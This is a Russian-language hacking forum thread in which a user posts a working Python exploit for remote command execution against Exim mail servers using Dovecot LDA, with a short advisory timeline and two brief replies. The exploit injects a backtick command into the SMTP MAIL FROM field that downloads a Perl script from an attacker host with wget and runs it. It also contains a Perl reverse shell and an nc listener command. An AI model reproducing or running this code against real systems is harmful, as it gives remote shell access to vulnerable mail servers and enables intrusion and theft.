Старый 13.03.2014, 01:29   #1
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию Exim with Dovecot RCE

Объяснение:

https://www.redteam-pentesting.de/en...mand-execution

сплойт:

http://www.exploit-db.com/exploits/25970/

Код:
#!/usr/bin/env python

##################################################################################
##      Exim sender_address Parameter - Remote Command Execution Exploit        ##
##################################################################################
##                                                                              ##
## Vulnerability found by RedTeam Pentesting GmbH                               ##
## https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/              ##
##                                                                              ##
## Exploit written by eKKiM                                                     ##
## http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/                            ##
##                                                                              ## 
##################################################################################
##                                    USAGE                                     ##
##################################################################################
##                                                                              ##
## Edit the PERL REVERSE SHELL MY_CONNECTBACK_IP and MY_CONNECTBACK_PORT and   ##
## upload this perl reverse shell script to a webserver.                        ##
##                                                                              ## 
## Edit the PERL_SHELL variable to your own connectback script URL              ##
##                                                                              ##
## Start a listener: nc -vvn -l -p CONNECT_BACK_PORT                            ##
##                                                                              ## 
## Let the exploitin begin                                                      ##
##                                                                              ## 
##################################################################################


####### PERL REVERSE SHELL #######
## use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
####### PERL REVERSE SHELL #######


import socket
import sys

####### URL TO YOUR CONNECTBACK SHELL #######
PERL_SHELL = "myhost.com/shell.pl"
####### URL TO YOUR CONNECTBACK SHELL #######

if len(sys.argv) != 2:
	print "Usage: exim_exploit.py <target_ip> <optional_rcpt_address>"
	print " <target_ip> target you want to test"
	print " <optional_rcpt_address> an address which is accepted by exim (default: postmaster@localhost)"
	exit(1)

RCPT_TO = "postmaster@localhost" 
HOST = sys.argv[1]
PORT = 25

def read_line(s):
    ret = ''

    while True:
        c = s.recv(1)

        if c == '\n' or c == '':
            break
        else:
            ret += c

    return ret


if len(sys.argv) == 3:
	RCPT_TO = sys.argv[2]
	
print "Exim sender_address Parameter - Remote Command Execution Exploit"
print "Bug discovered by RedTeam Pentesting GmbH"
print "Exploit created by eKKiM"
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = read_line(s);
if not(data.startswith("220")):
	print "[ERROR] Is it SMTP Server?"
	exit(1)
	
s.send("EHLO domain.local\n")
s.recv(4096)

s.send("MAIL FROM: x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}" + PERL_SHELL + "``perl${IFS}/tmp/p.pl`@blaat.com\n")

data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] MAIL FROM not accepted"
	exit(1)

s.send("RCPT TO: " + RCPT_TO + "\n")
data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] RCPT_TO not accepted"
	exit(1)

s.send("DATA\n")
data = read_line(s);
if not(data.startswith("354")):
	print "[ERROR] Cannot send email content"
	exit(1)
	
s.send("x\n.\n")
data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] email content revoked"
	exit(1)
	
print "[OK] Recieved shell?"

s.close()
Цитата:
History
=======

2013-03-05 Vulnerability identified
2013-05-02 Vendor notified
2013-05-02 Vendor confirmed the vulnerability
2013-05-02 Vendor removed the offending line from the Dovecot wiki
2013-05-03 Advisory released


References
==========
[1] http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html
[2] http://wiki.dovecot.org/LDA/Exim
[3] http://wiki.dovecot.org/LDA/Exim?action=diff&rev2=12&rev1=11
[4] http://packages.debian.org/search?keywords=dovecot-common

Последний раз редактировалось Pashkela; 16.03.2014 в 14:21..
Pashkela вне форума   Ответить с цитированием
Старый 22.08.2014, 11:47   #2
ftools
 
Регистрация: 04.03.2014
Сообщений: 9
Репутация: 0
По умолчанию

Pashkela, поясните,пожалуйста,смысл этого сплоента
ftools вне форума   Ответить с цитированием
Старый 22.08.2014, 12:04   #3
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

Цитата:
Сообщение от ftools Посмотреть сообщение
Pashkela, поясните,пожалуйста,смысл этого сплоента
Написано же, exim with dovecot typical misconfiguration leads to remote command execution
__________________
Jokester: Ок, с тобой проще согласиться чем переубедить. :)
HeartLESS вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot